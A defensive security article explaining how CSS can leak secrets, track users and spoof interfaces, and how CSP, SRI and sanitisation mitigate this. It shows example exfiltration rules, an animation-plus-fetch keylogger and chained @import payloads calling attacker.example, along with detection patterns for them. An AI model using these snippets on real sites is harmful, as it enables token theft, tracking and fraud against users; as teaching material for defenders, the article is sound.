CSS can leak secrets, track users, trigger network requests, fingerprint devices, and turn a harmless-looking stylesheet into an active part of an attack chain.
JavaScript gets most of the blame for browser-side compromise, but CSS has a quieter kind of power. It cannot open a socket, read arbitrary files, or loop through memory. It can, however, observe document structure, react to attribute values, load remote resources, alter rendering, and exploit differences between browsers, fonts, media features, and user state.
That is enough to cause trouble.
A malicious stylesheet often looks boring. It may contain normal selectors, brand colors, responsive rules, and a few suspicious url() values buried among hundreds of declarations.
The code does not announce itself. It waits for the browser’s rendering engine to do what CSS was designed to do: match selectors and fetch assets.
**
Why CSS Can Be Dangerous
**
CSS was built to describe presentation, but modern presentation is interactive and conditional.
A stylesheet can ask questions about the page and the user’s environment:
@media (prefers-color-scheme: dark) { ... }
@media (min-width: 1200px) { ... }
@supports (display: grid) { ... }
input[value^="a"] { ... }
It can also force network requests:
body {
background-image: url("https://attacker.example/pixel");
}
Those two abilities, conditional matching and remote fetching, create the core primitive behind many CSS attacks.
If a rule matches, the browser may request a resource. If it does not match, no request happens. To an attacker watching server logs, that difference is data.
CSS is not “code execution” in the classic sense, but it is still programmable behaviour. Selectors act as conditions and URL loads act as outputs. The DOM becomes input.
**
CSS Exfiltration with Attribute Selectors
**
The most famous CSS attack class is data exfiltration through selectors.
Suppose an attacker can inject CSS into a page that contains a secret token in an HTML attribute:
CSS attribute selectors can test that value:
input[name="csrf"][value^="a"] {
background-image: url("https://attacker.example/leak/a");
}
input[name="csrf"][value^="b"] {
background-image: url("https://attacker.example/leak/b");
}
If the token begins with a, the first rule matches and the browser requests:
https://attacker.example/leak/a
The attacker learns the first character. More rules can test the next prefix:
input[name="csrf"][value^="a0"] { background: url("/leak/a0"); }
input[name="csrf"][value^="a1"] { background: url("/leak/a1"); }
input[name="csrf"][value^="a2"] { background: url("/leak/a2"); }
With enough requests, a secret can be reconstructed character by character.
This is noisy but practical in some conditions. It works best when:
• Sensitive values are present in DOM attributes.
• The attacker can inject arbitrary CSS.
• The page allows external image, font, or import requests.
• The secret alphabet is small or predictable.
• The attacker can update styles over multiple rounds.
Modern applications often place CSRF tokens, API keys, user IDs, state parameters, feature flags, and internal metadata in HTML.
If that data is exposed to selectors, CSS can become a read side channel.
Reading Form Values Is Harder Than Reading Attributes
There is a key limitation: CSS selectors generally match attributes, not live property values.
This matters for forms. If a user types into:
CSS cannot normally select based on the current typed value. This selector tests an HTML attribute, not the live password field content:
input[name="password"][value^="s"] { ... }
If the value attribute was not written into the markup, the rule does not reveal what the user typed.
Attackers still look for ways around this. Some frameworks mirror state into attributes. Some components write user input into data-* attributes for styling.
Some password managers or custom UI controls create DOM (Document Object Model) nodes containing copied values. Any of those can reintroduce risk.
The safe rule is simple: do not put secrets into attributes if untrusted CSS can reach the document.
**
Keylogging with CSS Animations and Events
**
Pure CSS cannot send events to a server on each keystroke. CSS plus JavaScript can.
A historical trick used CSS animations to detect selector matches. The stylesheet defines animations for specific input states, and JavaScript listens for animationstart events:
input[value^="a"] {
animation-name: leak-a;
animation-duration: 1ms;
}
@keyframes leak-a {
from { opacity: 0.99; }
to { opacity: 1; }
}
document.addEventListener("animationstart", event => {
fetch("https://attacker.example/key/" + event.animationName);
});
This technique depends on JavaScript being available, so it is not “CSS-only” theft. Still, it shows how CSS can operate as the sensor while JavaScript acts as the transmitter.
The dangerous pattern is not the animation itself. The issue is untrusted CSS being allowed to influence a page that also runs script in the same origin.
**
@import as a Staging Mechanism
**
A malicious stylesheet does not need to contain the full payload. It can load another stylesheet:
@import url("https://attacker.example/stage-1.css");
That imported file can import another:
@import url("https://attacker.example/stage-2.css");
This gives an attacker flexibility. The initial injected CSS can be small enough to hide in a profile field, theme setting, CMS block, Markdown extension, or compromised dependency. The remote file can change later without modifying the victim site again.
@import is also useful for multi-round exfiltration. The attacker serves CSS based on previous requests.
If the browser requests /leak/a, the next imported stylesheet can test a0, a1, a2, and so on.
Defenders should treat external CSS loading as an outbound communication channel, not only as a styling feature.
**
Fonts as Tracking and Fingerprinting Tools
**
Fonts are another underappreciated CSS channel.
A stylesheet can load remote fonts:
@font-face {
font-family: "TrackedFont";
src: url("https://attacker.example/font.woff2") format("woff2");
}
body {
font-family: "TrackedFont", sans-serif;
}
That request reveals IP address, user agent, referrer behaviour, and timing. If the URL contains a unique identifier, it becomes a tracking pixel dressed as typography:
src: url("https://attacker.example/fonts/user-8f14e45f.woff2");
Fonts can also participate in side channels. Different glyph widths can change layout. Layout changes can cause or suppress other resource loads.
Researchers have used font metrics, ligatures, scrollbars, and overflow behaviour in browser side-channel attacks.
Most production attacks do not need that level of sophistication. A unique remote font URL is often enough.
**
CSS and Browser History Sniffing
**
Browser history sniffing through CSS was once a serious problem.
The old technique abused :visited styling:
a:visited {
color: red;
}
Scripts could inspect computed styles and infer which links a user had visited. Browsers fixed this class of attack by heavily restricting what styles apply to :visited and lying to scripts about computed values.
The lesson remains useful: CSS can expose private user state if rendering differences are observable.
Modern browsers still permit limited :visited styling, but they block high-risk properties such as background images and layout-affecting changes. A visited link should not be able to trigger a remote request.
Security fixes in CSS often work this way. They do not remove the feature. They reduce observability.
**
CSS Injection Is Not XSS, but It Still Matters
**
Many teams treat CSS injection as a low-severity bug because it does not directly run JavaScript. That assumption misses several real risks.
A CSS injection bug can:
• Exfiltrate DOM attributes.
• Track page views through external URLs.
• Change page content visually.
• Hide security warnings or consent controls.
• Overlay fake interface elements.
• Break layouts in ways that cause user mistakes.
• Import attacker-controlled stylesheets.
• Combine with script gadgets already present on the page.
Consider a banking page where an attacker can inject this rule:
.confirm-transfer .amount {
color: transparent;
}
.confirm-transfer .amount::after {
content: "$10.00";
color: black;
}
The DOM still contains the real amount, perhaps $10,000.00, but the user sees $10.00. CSS can lie.
Pseudo-elements make this worse:
button.pay::after {
content: "Cancel";
}
A stylesheet can change perceived meaning without changing HTML. That can support phishing, fraud, or social engineering inside a trusted origin.
Hiding Payloads in Plain Sight
Malicious CSS can be obfuscated without looking like traditional malware.
Common hiding places include:
• Data URLs
background-image: url("data:image/svg+xml,%3Csvg%20...");
Data URLs can contain encoded SVG. SVG can be complex, and historically browser differences around SVG, scripting, and external references have created security surprises.
• Unicode Escapes
body {
background: u\72l("https://attacker.example/pixel");
}
CSS escaping rules can make obvious tokens harder to grep.
• Custom Properties
:root {
--x: url("https://attacker.example/a");
}
.card {
background-image: var(--x);
}
The dangerous value may be defined far from where it is used.
• Comment Noise
.b/x/o/x/d/x/y {
background: url("https://attacker.example/p");
}
CSS parsers are forgiving. Reviewers are tired. That combination helps attackers.
• Minification
A single-line stylesheet with 80,000 characters is hard to inspect manually. Malicious rules can hide among framework output, icon fonts, reset styles, and generated utility classes.
**
Supply Chain Attacks Through Stylesheets
**
CSS often arrives through third parties:
• NPM packages.
• CDN-hosted frameworks.
• WordPress themes.
• Shopify apps.
• Browser extensions.
• Design systems.
• Analytics tags that inject style blocks.
• Ad tech scripts that add CSS dynamically.
A compromised stylesheet can affect every page that imports it. The attacker may not need JavaScript if the target pages expose useful attributes or allow remote asset loading.
This is why Subresource Integrity matters for static third-party CSS:
rel="stylesheet"
href="https://cdn.example.com/ui.css"
integrity="sha384-..."
crossorigin="anonymous">
SRI (Subresource Integrity) prevents silent modification of a referenced file, but it only works when the file is expected to remain unchanged.
It is less useful for versionless CDN URLs such as:
Pin versions. Pin hashes. Avoid latest.
**
Content Security Policy for CSS Risk Reduction
**
Content Security Policy can sharply reduce CSS abuse if configured carefully.
A basic policy might look like this:
Content-Security-Policy:
default-src 'self';
style-src 'self';
img-src 'self' https://images.example.com;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
The details matter. If style-src allows arbitrary external hosts, injected CSS can import attacker stylesheets.
If img-src allows *, malicious CSS can exfiltrate through background images. If font-src allows any host, fonts can become tracking endpoints.
Many applications accidentally permit exfiltration through broad image rules:
img-src * data:;
That may be convenient for user-generated content, but it gives CSS a wide output channel.
A stricter policy separates trusted asset hosts from arbitrary URLs. If users need to embed images, proxy them through a controlled domain and sanitize MIME types.
Also avoid inline styles where possible:
style-src 'self' 'nonce-randomValue';
Nonces can permit known-good inline styles while blocking injected ones. Hashes can work for static inline blocks.
**
Sanitizing CSS Is Difficult
**
HTML sanitization is hard. CSS sanitization is worse than many teams expect.
A sanitizer must understand:
• Selector syntax.
• Escapes.
• url() forms.
• @import.
• @font-face.
• Custom properties.
• Browser-specific parsing quirks.
• SVG references.
• Data URLs.
• Nested functions.
• Comments and malformed declarations.
Regular expressions are not enough.
If users need custom styling, constrain the feature. Instead of accepting raw CSS, provide structured options:
{
"themeColor": "#2364d2",
"fontScale": 1.1,
"compactMode": true
}
Then generate CSS server-side from validated values.
If raw CSS is unavoidable, use a real parser and an allowlist. Permit only safe properties and safe value types. Strip all URLs unless there is a compelling need. Block @import, @font-face, external references, and complex selectors that can inspect sensitive attributes.
A safe subset is much smaller than most people think.
**
Practical Detection Clues
**
Malicious CSS often leaves traces. Look for:
• External url() calls to unfamiliar domains.
• @import rules outside approved sources.
• Attribute selectors targeting value, data-token, csrf, auth, secret, email, or session.
• Large groups of prefix selectors such as [value^="a"], [value^="b"].
• Remote fonts with unique IDs in paths.
• Data URLs containing SVG.
• Custom properties that wrap URLs.
• CSS files that change frequently without release notes.
• Inline style blocks in user-generated content.
• Stylesheets served from mutable URLs.
Automated scanning should parse CSS rather than grep raw text.
Escapes, comments, and minification can defeat simple string matching.
Network telemetry helps too. A page that should only load assets from static.example.com should not request css-cdn-usercontent.net during checkout.
Engineering Habits That Prevent CSS Abuse
The strongest defenses are boring and consistent:
- Do not allow untrusted raw CSS.
- Keep secrets out of DOM attributes.
- Use CSP to restrict style-src, img-src, and font-src.
- Pin third-party CSS with SRI.
- Avoid versionless CDN URLs.
- Review stylesheet changes like code changes.
- Proxy user-supplied media through controlled infrastructure.
- Strip @import from user-controlled styles.
- Audit design tools and CMS plugins that inject CSS.
- Treat visual manipulation as a security issue, not only a UX bug.
CSS is not a scripting language, but it is not inert text either. A stylesheet has inputs, conditions, side effects, and network reach. That makes it powerful enough to deserve the same suspicion given to any code running inside a trusted page.
The safest assumption is that every stylesheet is part of the application’s security boundary. Review it, constrain it, and make the browser’s quiet requests visible before someone else starts reading them.
Top comments (0)